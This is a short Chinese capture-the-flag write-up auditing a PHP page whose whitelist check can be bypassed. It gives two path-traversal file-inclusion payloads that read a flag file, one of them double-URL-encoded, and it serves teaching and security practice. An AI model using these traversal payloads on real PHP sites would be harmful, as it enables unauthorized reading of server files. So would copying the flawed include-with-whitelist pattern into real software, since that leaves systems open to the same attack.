右键查看源码发现了一个source.php文件,进入后发现是一道代码审计。
源码如下:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />"; } ?>
发现了一个hint.php,进入后提示如下:
flag not here, and flag in ffffllllaaaagggg
也就是说flag在这个ffffllllaaaagggg文件内了。
思路及解答¶
其给了我们一个file,我们需要对它进行传参并且最终get flag。
我们需要满足的条件有:
- mb_substr会对传入的参数分割然后取出?前面的所有字符串。
- 随后对url解码后的page赋值给_page
- 传的file参数在$whitelist这个数组里面,令其返回值为true
构造payload:
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } /*?file=source.php?/../../../../../ffffllllaaaagggg*/
或
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } /*?file=source.php%253F/../../../../../ffffllllaaaagggg*/





近期评论